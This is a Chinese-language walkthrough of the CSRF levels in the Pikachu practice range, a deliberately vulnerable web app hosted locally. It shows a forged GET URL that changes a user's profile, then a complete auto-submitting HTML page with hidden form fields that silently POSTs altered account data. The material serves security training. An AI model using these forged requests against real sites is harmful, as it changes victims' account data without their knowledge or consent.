打开pikachu靶场:
修改数据进行发包:
从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。
回到把常中利用这个信息进行修改账户信息。
127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=888888&add=usa&email=11111&submit=submit
从上图的请求报文来看,和前一关一样,没有不可预测的认证信息,可以被利用。
修改包中信息是可以被修改的,但是这一关是post类型,URL不再显示修改参数,所以无法再使用上述办法(即通过URL来伪造请求)进行修改。
此时,可以构造一个表单。将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。
<html>
<script>
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="123456789" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="llll" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
我将构造的表单放到pikachu目录下,当访问这个文件时就触发条件自动修改用户信息。
点击之前:
点击文件之后:
让我攻略会~